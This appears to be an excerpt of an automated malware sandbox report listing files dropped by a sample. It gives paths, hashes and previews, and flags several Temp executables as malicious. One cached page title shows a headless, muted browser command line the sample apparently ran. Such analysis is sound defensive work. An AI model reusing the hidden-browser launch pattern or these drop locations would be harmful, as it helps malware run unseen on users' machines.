Preview:	<html><head><title>Working...</title></head><body><form method="POST" name="hiddenform" action="https://www.bing.com/orgid/idtoken/conditional"><input type="hidden" name="error" value="login_required" /><input type="hidden" name="error_description" value="AADSTS50058: A silent sign-in request was sent but no user is signed in. The cookies used to represent the user's session were not sent in the request to Azure AD. This can happen if the user is using Internet Explorer or Edge, and the web app sending the silent sign-in request is in different IE security zone than the Azure AD endpoint (login.microsoftonline.com). Trace ID: 811c97d4-89ee-4558-92cf-40e68ced9500 Correlation ID: 435cfd6c-16c7-4065-9e34-082059cfb8e0 Timestamp: 2024-12-27 13:43:51Z" /><input type="hidden" name="error_uri" value="https://login.microsoftonline.com/error?code=50058" /><input type="hidden" name="state" value="{"ig":"189AFB8DF50742F0BECDA05C6C55A4A0"}" /><noscript><p>Script is disabled.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\b1UvgiIbimwO0MD72b316M0N024[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (22072)
Category:	dropped
Size (bytes):	22103
Entropy (8bit):	5.361178068077242
Encrypted:	false
SSDEEP:	384:Kh4kT1lYxfqyDOhKMpWMEVhbTDDoFWZ3BnqIfP5IDV6s4RKAwKXvUNuw+0/WPTAi:Y5Tifh3bBpBnqIH+Z6sepXv0uz8aV
MD5:	E6D1413E5F595F9F70187AA7641AF15E
SHA1:	6F552F82221B8A6C0ED0C0FBD9BDF5E8CD0DD36E
SHA-256:	F0CE767BC0F986E7752AFDDDDD978583127C68E7A4F03C87737C3A12E27FD59A
SHA-512:	F3A49B1B02DAF1BE6CDD5FC5CE875EC864F6C79DF986F586F6359D0F8DDB3BF71B30B6189C1466F2421F8E216246C4CD7F30026E45DDE9F59F5E27AEB8A2C956
Malicious:	false
Preview:	/!DisableJavascriptProfiler/.var BM=BM\|\|{};BM.config={B:{timeout:250,delay:750,maxUrlLength:300,sendlimit:20,maxPayloadSize:14e3},V:{distance:20},N:{maxUrlLength:300},E:{buffer:30,timeout:5e3,maxUrlLength:300},C:{distance:10}},function(n){function vt(){if(!document.querySelector\|\|!document.querySelectorAll){k({FN:"init",S:"QuerySelector"});return}w={};e=[];ft=1;ut=0;rt=0;o=[];s=0;h=!1;var n=Math.floor(Math.random()*1e4).toString(36);t={P:{C:0,N:0,I:n,S:ei,M:r,T:0,K:r,F:0}};pi()}function oi(n,t){var r={};for(var i in n)i.indexOf("_")!==0&&(i in t&&(n[i]!==t[i]\|\|i==="i")?(r[i]=t[i],n[i]=t[i]):r[i]=null);return r}function si(n){var i={};for(var t in n)n.hasOwnProperty(t)&&(i[t]=n[t]);return i}function b(n,t,r,u){if(!h){k({FN:"snapshot",S:n});return}r=r\|\|ni;t=t\|\|!1;var f=g()+r;ot(o,n)===-1&&o.push(n);t?(yt(),pt(t,u)):f>s&&(yt(),rt=sb_st(pt,r),s=f)}function k(n){var u={T:"CI.BoxModelError",FID:"CI",Name:ht,SV:ct,P:t&&"P"in t?d(t.P):r,TS:f(),ST:v},i,e;for(i in n)u[i]=n[i];e=d(u);wt(e)}func

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\chL-iM0GhqOBrLGwWDpUSuOtobA[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1833), with no line terminators
Category:	dropped
Size (bytes):	1833
Entropy (8bit):	5.03858600819449
Encrypted:	false
SSDEEP:	48:Jk08PkQix8QboQO7cxfFb87c9nH40VtN3HCBuNDbHNxpA:sPb6oZY80tVbHDtTA
MD5:	D7365C424E30CB142A85B84C0618D671
SHA1:	7212FE88CD0686A381ACB1B0583A544AE3ADA1B0
SHA-256:	8FD0225B5F75EE2326ADC68A10F5B9FC50C30A45BF4B61C7EE9364103E6102C8
SHA-512:	26D9A5DA2CC591954C6014B4DE1826653C9F058E9C8287342D8F0F2C9960BDAF30E1D4F8ADDF529830327D94C8BCA21848A3ADAF2846036A5E9C618992B18D5F
Malicious:	false
Preview:	var ExtendIconClickTargetV2;(function(){function n(){var u=document.querySelectorAll(".b_tpcn"),e,r,f,n,i,t;if(u)for(e=function(n){var r=u[n],i,t,f;if(r&&(r.onclick=function(n){if(!n\|\|n.target===r){var t=r.querySelector(".tilk");t&&(_w.si_T&&_w.si_T(t.getAttribute("h")),t.click())}},i=r.nextElementSibling,i&&(r.addEventListener("mouseover",function(){r.style.cursor="pointer";var n;n=i.tagName==="H2"\|\|i.tagName==="H3"?i.querySelector("a"):i.querySelector("h2 a, h3 a");n&&(n.style.textDecoration="underline")}),r.addEventListener("mouseout",function(){r.style.cursor="";var n;n=i.tagName==="H2"\|\|i.tagName==="H3"?i.querySelector("a"):i.querySelector("h2 a, h3 a");n&&(n.style.textDecoration="")}),t=i,!t\|\|t.classList&&t.classList.contains("b_title")\|\|t.tagName==="H2"\|\|t.tagName==="H3"\|\|(t=t.querySelector("h2, h3")),t))){if(f=t.querySelector("a"),!f)return{value:void 0};t.addEventListener("mouseover",function(n){n&&n.target===t&&(t.style.cursor="pointer",f.style.textDecoration="underline")});t

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\fdVZU4ttbw8NDRm6H3I5BW3_vCo[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	671
Entropy (8bit):	5.014579690661168
Encrypted:	false
SSDEEP:	12:tbH4/KYf3UnlcWYl7qy/gk63xsV8tGXcqecDDWUV8jEPsycd23Wt+MKsAnueOc+d:t74LfEnTYpq+gTxs6GUUQEPssmYsAnuH
MD5:	D9ED1A42342F37695571419070F8E818
SHA1:	7DD559538B6D6F0F0D0D19BA1F7239056DFFBC2A
SHA-256:	0C1E2169110DD2B16F43A9BC2621B78CC55423D769B0716EDAA24F95E8C2E9FE
SHA-512:	67F0BC641D78D5C12671FDD418D541F70517C3CA72C7B4682E7CAC80ABE6730A60D7C3C9778095AAB02C1BA43C8DD4038F48A1A17DA6A5E6C5189B30CA19A115
Malicious:	false
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... viewBox="0 0 16 16" enable-background="new 0 0 16 16" xml:space="preserve">..<path fill="#919191" d="M15.707,0.293c-0.391-0.391-1.024-0.391-1.415,0L7.994,6.591L1.696,0.293C1.298-0.091,0.665-0.08,0.281,0.318...c-0.375,0.388-0.375,1.003,0,1.391l6.298,6.298l-6.298,6.298c-0.384,0.398-0.373,1.031,0.025,1.415c0.388,0.375,1.003,0.375,1.391,0...l6.298-6.298l6.298,6.298c0.398,0.384,1.031,0.373,1.415-0.025c0.375-0.388,0.375-1.003,0-1.39L9.409,8.006l6.298-6.298...C16.098,1.317,16.098,0.684,15.707,0.293z"/>..<path fill="none" d="M0,0h16v16H0V0z"/>..</svg>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\hoJZx9xRdanMHi7INfPZtL0_VnM[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (891), with no line terminators
Category:	dropped
Size (bytes):	891
Entropy (8bit):	5.1332488883366585
Encrypted:	false
SSDEEP:	24:2QG5MCVFmMCBTotKMCWqEZWMCUHK09nzEIzGln:GbGb+Eb5EgbCr9nz+ln
MD5:	02B0B245D09DC56BBE4F1A9F1425AC35
SHA1:	868259C7DC5175A9CC1E2EC835F3D9B4BD3F5673
SHA-256:	62991181637343332D7B105A605AB69D70D1256092355CFC4359BEE7BDBFB9C6
SHA-512:	CBB43000A142807FF1BB3BFAC715CEF1240233117C728F357C824CE65B06BE493DF2306C7B03598817F09B02E9E36EC52314F88467679C5BEF3EE1504A10C7E6
Malicious:	false
Preview:	(function(){function e(){var t,r;n&&(n.value.length>0?(t=Lib===null\|\|Lib===void 0?void 0:Lib.CssClass)===null\|\|t===void 0?void 0:t.add(sj_b,i):(r=Lib===null\|\|Lib===void 0?void 0:Lib.CssClass)===null\|\|r===void 0?void 0:r.remove(sj_b,i))}function o(t){var e,o;n.value="";n.innerText="";u&&f&&(u.innerText="",f.classList.remove("nudgeVisible"));(e=Lib===null\|\|Lib===void 0?void 0:Lib.CssClass)===null\|\|e===void 0?void 0:e.remove(sj_b,i);sj_log("CI.XButton","Clicked","1");r&&((o=Lib===null\|\|Lib===void 0?void 0:Lib.CssClass)===null\|\|o===void 0?void 0:o.add(r,"b_focus"));n.focus();n.click();t&&(t.preventDefault(),t.stopPropagation())}var r=_ge("b_header"),n=_ge("sb_form_q"),t=_ge("sb_clt"),u=_qs(".qfc.b_searchbox .ghost"),f=_qs(".qfc.b_searchbox .nudge"),i="b_sbText";n&&t&&(sj_be(t,"click",o),sj_be(t,"keydown",function(n){var t=n.code\|\|n.key;t==="Enter"&&o(n)}),sj_be(n,"keyup",e),e())})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\ieSu8a5yrw93MLISV3F2AD60S6I[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (15678), with no line terminators
Category:	modified
Size (bytes):	15678
Entropy (8bit):	5.324358729025482
Encrypted:	false
SSDEEP:	384:90RU0qFPpFQ2cLJoyPKWrEysjXryLnmVyYNnL3/9BD1DdNCgTlPlMHEyM2hluZX7:90RtqppFyoyCcEys7UnpYdv9j2gRPlm8
MD5:	F420F6495D96A09B18AE9C2D2D53663C
SHA1:	89E4AEF1AE72AF0F7730B212577176003EB44BA2
SHA-256:	CB2E879CEE77E2116DA4608857CA8D66A053FADF41C72BA60C1CEE0100DE1EC4
SHA-512:	9FB9C37C154B855314D185AADC055134975E0F7A2703EA362DFC2F8DED589ABA77DC25F006CF004DD193EA68B026BC2B089EC27ADA26C81CA950A83DF0FE154C
Malicious:	false
Preview:	define("ajax.shared",["require","exports"],function(n,t){function r(n){var r=keyMap[n]?keyMap[n]:keyMap.Prefix+n,i=document.getElementById(r),t;return!i&&document.getElementsByClassName&&(t=document.getElementsByClassName(r),i=t&&t.length?t[0]:null),i}function u(n){var f=sj_ce("a"),t,r,u;return f.href=n,t=f.pathname,t[0]!=="/"&&(t="/"+t),t=t.replace(i,"/"),r="",t==="/"?r=t:(u=n.indexOf(t),r=u>-1?n.substr(u):""),r}function f(n,t,i){for(;n&&n!==document;n=n.parentNode){if(n[t]===i)return n;if(n===undefined)break}}var i=/^(\/)(\1+)/;t.useSetBag=!1;t.ajaxUrlBag="";t.getPlaceholder=r;t.getRelativeUrl=u;t.getParentContainer=f});define("ajax.cache",["require","exports"],function(n,t){function w(n,t,i,r){if(n>=0){var u=g(n);switch(t){case"Script":u.ScriptHolder.push(r);break;case"Style":u.Style+=r;break;case"EOS":u.Script=u.ScriptHolder;delete u.ScriptHolder;u[t]=r;c(i,u);break;default:u[t]=r}}}function b(n){var t=sessionStorage.getItem(i+n);return t?JSON.parse(t):null}function c(n,t){_G.JCach

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\kxeSzXDO1K1Yb2MpwwwpTr6hVI4[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (34732), with no line terminators
Category:	dropped
Size (bytes):	34732
Entropy (8bit):	5.452487645923916
Encrypted:	false
SSDEEP:	768:+J0AmB7aPmB7aU1THyBVyD3NSrGyDQS+mZvUhM/4S8SrmB:+aaUaJCDA3DjHZv37n6
MD5:	E4FB9B839186660B1F729B8DF8C994B4
SHA1:	931792CD70CED4AD586F6329C30C294EBEA1548E
SHA-256:	6838611C8AB6539005E11C84CA308158F89A51DB57A62CAF21FAAB48BF576177
SHA-512:	625436BB52CBD7DF7ED03BE05FEA52C5D54B6CC15037D70C268D9598E648A22246DB902B9C6F097BA8B18BD924F6AB17120736285D54DCE13773237F1669853A
Malicious:	false
Preview:	var ModernRewards;(function(n){var t="redDotDisplay",e="redDotDisplayFill",f="rewards_header_icon serp",o="rewards_header_icon hp",s="/red-dot-24.png",h="AutoOpenFlyoutFired",c="bfbNotificationShown",l="BNPNotificationShown",a="ChatVerticalShown",v="CookieDisabled",y="IsAADUser",p="MissingModel",w="_RwBf",b="rwmrst",i=!0,u="",r="//az15297.vo.msecnd.net/images/rewards/membercenter/missions/redDotImage.png",k=function(){function n(n){this.reportActivityModel=n;this.rewardsReadyEventArgs={isAuthenticated:n&&n.IsAuthenticated,isRebatesUser:n&&n.RewardsSessionData&&n.RewardsSessionData.IsRebatesUser,isRewardsUser:n&&n.RewardsSessionData&&n.RewardsSessionData.IsRewardUser,isTrialUser:n&&n.RewardsSessionData&&!n.RewardsSessionData.IsRewardUser&&n.RewardsSessionData.IsTrialUser,waitlist:n&&n.RewardsSessionData&&n.RewardsSessionData.Waitlist,isCcpEligible:n&&n.RewardsSessionData&&n.RewardsSessionData.IsCcpEligible,hasUsedCcpTrial:n&&n.RewardsSessionData&&n.RewardsSessionData.HasUsedCcpTrial}}re

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\search[1].htm

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (48370), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	219671
Entropy (8bit):	5.64643807111724
Encrypted:	false
SSDEEP:	3072:sfQQ1ufpQR5zQ9oEYZ58xxKxYbJvjUHpHK9UB1mRhVSRlpMGDcUPd:sQQ1uRQRZzpzMxKhqUB1+LGDck
MD5:	8787B2BF796AFEB5F512CE535D2DE314
SHA1:	8111627329D9A66C71E1A0BB3E5B4D509AC9182B
SHA-256:	24F1DCB76CE6C67629E08661F42275D827ABDEA1230D4A4B5D7D194C68D498FF
SHA-512:	A5A33655DA61406D34526CECD6D0F5BDA3A46721498CB1457C0F528E5C25440C3B05191A586239308556DD992925839EDA22279163F60CAFF3221631681013F0
Malicious:	false
Preview:	<!DOCTYPE html><html dir="ltr" lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:Web="http://schemas.live.com/Web/"><script type="text/javascript" nonce="KJgb9OdP+zMoJS7MGNn4rLKFMn5f0LFN9YsmbZvUIhA=" >//<![CDATA[..si_ST=new Date..// </script><head> pc--><title>--headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY - Search</title><meta content="text/html; charset=utf-8" http-equiv="content-type" /><meta name="referrer" content="origin-when-cross-origin" /><meta name="SystemEntropyOriginTrialToken" content="A1L3tx5CzccqjN3lK6st/fXMwhf9EeokCPf8XCt0DVI8JPbg37BWq0zKvlqgkdm8YEUbthoGkC/xdR1+iIz4txAAAABxeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiTXNVc2VyQWdlbnRMYXVuY2hOYXZUeXBlIiwiZXhwaXJ5IjoxNzM5NzI0MzExLCJpc1N1YmRvbWFpbiI6dHJ1ZX0=" http-equiv="origin-trial" /><meta property="og:description" content="Intelligent search from Bing makes it easier to quickly find what you.re

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\uhCnIv_xh3wzed7ntfAo1Gf_1s8[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (622), with no line terminators
Category:	dropped
Size (bytes):	622
Entropy (8bit):	5.265947581512117
Encrypted:	false
SSDEEP:	12:2QxhNgpOWEaaRHkj6iLUEkFKgsmqRRV6alt0Tk6iLUEkFkno:2QTepraRHk+i1kFKgsmqRRVZr8k6i1kh
MD5:	3104955279E1BBBDB4AE5A0E077C5A74
SHA1:	BA10A722FFF1877C3379DEE7B5F028D467FFD6CF
SHA-256:	A0A1CEE602080757FBADB2D23EAD2BBB8B0726B82FDB2ED654DA4403F1E78EF1
SHA-512:	6937ED6194E4842FF5B4878B0D680E02CAF3185BAF65EDC131260B56A87968B5D6C80F236C1DE1A059D8158BC93B80B831FE679F38FC06DFB7C3413D1D5355AA
Malicious:	false
Preview:	(function(){function n(){var n=_ge("id_p"),t,r,i;n&&(t="",r="",n.dataset?(t=n.dataset.src,r=n.dataset.alt):(t=n.getAttribute("data-src"),r=n.getAttribute("data-alt")),t&&t!=""&&(n.onerror=function(){n.onerror=null;n.src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNgYAAAAAMAASsJTYQAAAAASUVORK5CYII=";n.alt=""},n.onload=function(){n.alt=r},n.src=t,i=_d.getElementById("bp_shortcut_img"),i&&(i.setAttribute("src",t),i.onerror=function(){i.setAttribute("src","data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNgYAAAAAMAASsJTYQAAAAASUVORK5CYII=")})))}n()})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\weTZhMT4W5x_tgtmsDnFQb89lPY[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1580), with no line terminators
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.0552055236738624
Encrypted:	false
SSDEEP:	24:CFIaycqwxXvP6D0oagJXOd9TFlk2g8y7t/agPeC2RWgRWK5RWtYFGNKlZxvNGb30:5apDEDM8P2wgwK5wtnwlnNGbBpfGbVjN
MD5:	56AFA9B2C4EAD188D1DD95650816419B
SHA1:	C1E4D984C4F85B9C7FB60B66B039C541BF3D94F6
SHA-256:	E830AEB6BC4602A3D61E678B1C22A8C5E01B9FB9A66406051D56493CC3087B4B
SHA-512:	D97432E68AFDAA2CFAEFF497C2FF70208BD328713F169380D5AFB5D5EECD29E183A79BEC99664DBEE13FD19FE21EBAE7396315AC77A196BFB0AB855507F3DACF
Malicious:	false
Preview:	var Lib;(function(n){var t;(function(n){function u(n,t){var r,i;if(t==null\|\|n==null)throw new TypeError("Null element passed to Lib.CssClass");if(n.indexOf)return n.indexOf(t);for(r=n.length,i=0;i<r;i++)if(n[i]===t)return i;return-1}function f(n,u){if(n==null)throw new TypeError("Null element passed to Lib.CssClass. add className:"+u);if(!r(n,u))if(i&&n.classList)n.classList.add(u);else{var f=t(n)+" "+u;o(n,f)}}function e(n,f){var e,s,h;if(n==null)throw new TypeError("Null element passed to Lib.CssClass. remove className:"+f);r(n,f)&&(i&&n.classList?n.classList.remove(f):(e=t(n).split(" "),s=u(e,f),s>=0&&e.splice(s,1),h=e.join(" "),o(n,h)))}function s(n,t){if(n==null)throw new TypeError("Null element passed to Lib.CssClass. toggle className:"+t);i&&n.classList?n.classList.toggle(t):r(n,t)?e(n,t):f(n,t)}function r(n,r){var f,e;if(n==null)throw new TypeError("Null element passed to Lib.CssClass. contains className:"+r);return i&&n.classList?n.classList.contains(r):(f=t(n),f)?(e=f.split("

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\MSIMGSIZ.DAT

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	49120
Entropy (8bit):	0.0017331682157558962
Encrypted:	false
SSDEEP:	3:Ztt:T
MD5:	0392ADA071EB68355BED625D8F9695F3
SHA1:	777253141235B6C6AC92E17E297A1482E82252CC
SHA-256:	B1313DD95EAF63F33F86F72F09E2ECD700D11159A8693210C37470FCB84038F7
SHA-512:	EF659EEFCAB16221783ECB258D19801A1FF063478698CF4FCE3C9F98059CA7B1D060B0449E6FD89D3B70439D9735FA1D50088568FF46C9927DE45808250AEC2E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5dff3c02-e61b-4105-a499-250219d5fc04.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\672e5950-b24f-4e1d-be35-82aaaa95515f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\6AMM9O8n\YOB9kZKIRUqnzMwq.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1796608
Entropy (8bit):	7.732771617449877
Encrypted:	false
SSDEEP:	49152:DLpy1FpByTAiOejkhsE2QEHIwZJ+ARF34iKU2CpyeE1paU:By1FpByTAiOejkhsbQEOARB4iKUZ82
MD5:	E7768D0721ABC2F32508BFDF8E93EAFF
SHA1:	932BDC0FEA88765B8B3C19F954D435795034501C
SHA-256:	14A2ACD49CA035C99CC44620B37195FBAC3EBCB616E85E4B9BCB5D1DA2DF0DDC
SHA-512:	802E61CC187A12BF30C4714AA8CC36B3CBA0664B2D0CDB33CF361BD6C981889AD06F61F33F23E0CF87CB7F281AC59750F81BC5BBDFA3F4583065F05AA0AF2985
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......................(.....f....................@.................................ch....@... ......................................... ....................p..8J..........................H.......................L................................text...............................`..`.data...............................@....rdata..............................@..@.bss.....................................idata...............j..............@....CRT....4............z..............@....tls.................\|..............@....rsrc... ............~..............@..@.reloc..8J...p...L..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\71625516-e054-41ad-8eec-6e3153865eb7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\7f8dae8d-f5e6-45c0-a73d-6165d0c624a8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe

Download File

Process:	C:\Users\user\Desktop\T4qO1i2Jav.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	117248
Entropy (8bit):	6.333836706006904
Encrypted:	false
SSDEEP:	3072:CC9B/Kew7ujs3qleSQZ8Tn0RvFQv/Vh2iwqx4QFQ:CCT/c93qEu0MnFQ
MD5:	E10B81593D71C9C094F3D9D97C65F237
SHA1:	C873F28DA64112FDC499CF3F54E62EBCD3037B8D
SHA-256:	3CB59D3C3117F1659C6CF6EA87A2A0FE5549190F2342F8985042736D9212CB30
SHA-512:	26F5629FB69944CA5C4298BA1743DF0CB89B5230160FE0D396EC6734D59B7440ECCC964DE24A82CD8CFAAB84F89E8C5A5C5D5555B27CD7DAB55853C485217787
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.,.~.B.~.B.~.B.5.A.t.B.5.G..B.oA.h.B.oF.l.B.oG.Q.B.5.F.k.B.5.C.u.B.~.C..B..K.}.B......B..@...B.Rich~.B.........PE..L.....ng...........................s.......@....@.......................................@....................................x...............................4...8...p...........................x...@............@..p............................text....).......*.................. ..`.rdata..dx...@...z..................@..@.data...4...........................@....rsrc...............................@..@.reloc..4...........................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe

Download File

Process:	C:\Users\user\Desktop\T4qO1i2Jav.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1796608
Entropy (8bit):	7.732771617449877
Encrypted:	false
SSDEEP:	49152:DLpy1FpByTAiOejkhsE2QEHIwZJ+ARF34iKU2CpyeE1paU:By1FpByTAiOejkhsbQEOARB4iKUZ82
MD5:	E7768D0721ABC2F32508BFDF8E93EAFF
SHA1:	932BDC0FEA88765B8B3C19F954D435795034501C
SHA-256:	14A2ACD49CA035C99CC44620B37195FBAC3EBCB616E85E4B9BCB5D1DA2DF0DDC
SHA-512:	802E61CC187A12BF30C4714AA8CC36B3CBA0664B2D0CDB33CF361BD6C981889AD06F61F33F23E0CF87CB7F281AC59750F81BC5BBDFA3F4583065F05AA0AF2985
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
